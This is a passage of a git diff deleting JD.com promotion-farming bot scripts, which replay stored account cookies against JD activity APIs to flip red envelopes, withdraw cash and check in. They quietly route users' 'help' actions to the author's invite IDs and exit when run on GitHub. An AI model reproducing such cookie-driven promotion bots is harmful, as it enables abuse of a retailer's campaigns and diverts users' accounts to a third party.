Promise(async (resolve) => { - let options = taskUrl("openRedEnvelopeInteract", `{"linkId":"${$.linkid}","redEnvelopeId":"${rid}","inviter":"${inviter}","helpType":"${type}"}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.data && data.data.helpResult) { - console.log(JSON.stringify(data.data.helpResult)) - if (!helpother) { - if (data.data.helpResult.code === 16005 || data.data.helpResult.code === 16007) { - $.needhelp = false - $.canDraw = true - } else if (data.data.helpResult.code === 16011) { - $.needhelp = false - } - } - } else { - console.log(JSON.stringify(data)) - } - } - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - - -function open() { - return new Promise(async (resolve) => { - let options = taskUrl("openRedEnvelopeInteract", `{"linkId":"${$.linkid}"}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - } - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - -function getauthorid() { - return new Promise(async (resolve) => { - let options = { - url: "https://cdn.jsdelivr.net/gh/Wenmoux/scripts@wen/code/dyj.json", - headers: {} - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data) { - console.log(`获取作者🐎成功 ${data.rid}`) - $.authorid = data.rid - $.authorinviter = data.inviter - } - } - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - -function taskUrl(function_id, body) { - return { - url: `${JD_API_HOST}/?functionId=${function_id}&body=${encodeURIComponent(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=3.5.2`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://618redpacket.jd.com/?activityId=DA4SkG7NXupA9sksI00L0g&channel=wjicon&sid=0a1ec8fa2455796af69028f8410996aw&un_area=1_2803_2829_0", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_fcffl.js b/backUp/jd_fcffl.js deleted file mode 100644 index d5b44a6..0000000 --- a/backUp/jd_fcffl.js +++ /dev/null @@ -1,303 +0,0 @@ -/* -[task_local] -#翻翻乐 -1 0-23/1 * * * jd_fcffl.js -*/ -const $ = new Env('发财翻翻乐'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const money = $.isNode() ? (process.env.Openmoney ? process.env.Openmoney : 0.3) : 0.3 -const randomCount = $.isNode() ? 20 : 5; -const notify = $.isNode() ? require('./sendNotify') : ''; -let merge = {} -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = `https://api.m.jd.com`; -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - message = "" - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.canDraw = true; - $.canOpen = true; - $.cash = 0 - $.prize = 0 - $.Hb = 0 - $.drawresult = ""; - $.linkid = "YhCkrVusBVa_O2K-7xE6hA" - $.message = `【京东账号${$.index}】${$.UserName}\n` - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - let leftTime = await check() - if (leftTime != 0) { - console.log( `还没到开红包时间哦~剩余时间${parseInt(leftTime / 60000)}min~`) - } else { - console.log("时间已到,开始开红包") - await open("gambleOpenReward") - while ($.canOpen && $.canDraw) { - await open("gambleChangeReward") - await $.wait(500); - } - if ($.canDraw) { - console.log("金额已可提现,开始提现...") - $.message += `当前金额 ${$.reward.rewardValue}\n` - await open("gambleObtainReward", $.reward.rewardType) - await Draw($.reward.id, $.reward.poolBaseId, $.reward.prizeGroupId, $.reward.prizeBaseId, $.reward.prizeType) - await totalPrize() - message += $.message + `${$.drawresult}累计获得:¥${$.prize} 🧧${$.Hb} \n\n` - // await notify.sendNotify(`京东极速版大赢家翻倍红包提现`, `${$.message}`); - } - } - } - } - if ($.isNode()) { - if (message.length!=0) { - await notify.sendNotify("翻翻乐提现", `${message}`); - } - } - - })() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) -//获取活动信息 - - - -function check() { - return new Promise(async (resolve) => { - let options = taskUrl("gambleHomePage", `{"linkId":"${$.linkid}"}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - // console.log(data) - data = JSON.parse(data); - if (data.code === 0) { - // resolve(data.data.leftTime) - let time = (parseInt(data.data.leftTime / 60000)) - if (data.data.leftTime < 1000 * 100) { - await $.wait(data.data.leftTime + 600); - console.log("马上就好") - resolve(0) - } else { - console.log("等你🐎呢") - resolve(data.data.leftTime) - } - console.log("查询成功 剩余时间:" + time + "min") - } else { - console.log(data) - resolve(6) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function totalPrize() { - return new Promise(async (resolve) => { - let options = taskUrl("gamblePrizeList", `{"linkId":"${$.linkid}","pageNum":1,"pageSize":999999}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - // console.log(data) - data = JSON.parse(data); - if (data.code === 0 && data.data && data.data.items) { - for (item in data.data.items) { - reward = data.data.items[item] - if (reward.prizeType === 4) { - $.prize = $.prize + parseFloat(reward.amount) - if (reward.state === 0) { - console.log(`检测到有${reward.amount}未提现,尝试提现ing...`) - await Draw(reward.id, reward.poolBaseId, reward.prizeGroupId, reward.prizeBaseId, reward.prizeType) - await $.wait(500); - } - } else if (reward.prizeType === 2) { - $.Hb = $.Hb + Number(reward.amount) - } - // - } - console.log("查询成功 共提现:¥" + $.prize + " 🧧 " + $.Hb) - } else { - $essage += data.errMsg - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - -function open(functionid, type) { - return new Promise(async (resolve) => { - let options = taskPostUrl(functionid, `{"linkId":"${$.linkid}"}`) - if (type) { - options = taskPostUrl(functionid, `{"linkId":"${$.linkid}","rewardType":${type}}`) - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.code === 0 && data.data) { - if (functionid != "gambleObtainReward") { - $.reward = data.data - if(data.data.rewardValue>money){$.canOpen=false} - if (data.data.rewardState === 3) { - console.log("翻倍失败啦...") - $.message += `当前:${data.data.rewardValue} 翻倍失败啦` - $.canDraw = false - } else if (data.data.rewardState === 1) { - console.log("翻倍成功啦") - console.log("当前红包:" + data.data.rewardValue + "翻倍次数:" + data.data.changeTimes) - } else { - console.log(data.data) - console.log(`状态 ${data.data.rewardState} 还不知道是什么原因嗷`) - } - } else { - console.log(data) - } - - - } else { - $.canDraw = false - console.log(data.errMsg) - $.message += data.errMsg + "\n" - } - } - resolve(data.data) - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - -function Draw(id, poolBaseId, prizeGroupId, prizeBaseId, prizeType) { - return new Promise(async (resolve) => { - let options = taskPostUrl("apCashWithDraw", `{"businessSource":"GAMBLE","base":{"id":${id},"business":"redEnvelopeDouble","poolBaseId":${poolBaseId},"prizeGroupId":${prizeGroupId},"prizeBaseId":${prizeBaseId},"prizeType":${prizeType}},"linkId":"${$.linkid}"}`) - // console.log(options) - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - // console.log(data) - data = JSON.parse(data); - if (data.code === 0 && data.data && data.data.message) { - console.log("提现结果:" + data.data.message) - $.drawresult = "提现结果:" + data.data.message + "\n" - } else { - console.log(data) - $.drawresult = "提现结果:" + JSON.stringify(data) + "\n" - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - -function taskUrl(function_id, body) { - return { - url: `${JD_API_HOST}/?functionId=${function_id}&body=${encodeURIComponent(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=3.5.6`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://618redpacket.jd.com/?activityId=DA4SkG7NXupA9sksI00L0g&channel=wjicon&sid=0a1ec8fa2455796af69028f8410996aw&un_area=1_2803_2829_0", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - - -function taskPostUrl(functionid, body) { - return { - url: `${JD_API_HOST}/`, - body: `functionId=${functionid}&body=${encodeURIComponent(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=3.5.6`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://618redpacket.jd.com/?activityId=DA4SkG7NXupA9sksI00L0g&channel=wjicon&sid=0a1ec8fa2455796af69028f8410996aw&un_area=1_2803_2829_0", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_film_museum.js b/backUp/jd_film_museum.js deleted file mode 100644 index 15faef0..0000000 --- a/backUp/jd_film_museum.js +++ /dev/null @@ -1,482 +0,0 @@ -/* -动人影像馆 -抽奖貌似没水了,累计签到有豆子,5天25豆,10天50豆,14天100豆 应该能拿到 -注意*****************脚本会开一个会员卡,会加购,会助力作者******************** -///cron 23 15 13-26 9 * -///https://raw.githubusercontent.com/star261/jd/main/scripts/jd_film_museum.js -* */ -const $ = new Env('影像馆'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = []; -if ($.isNode()) { - 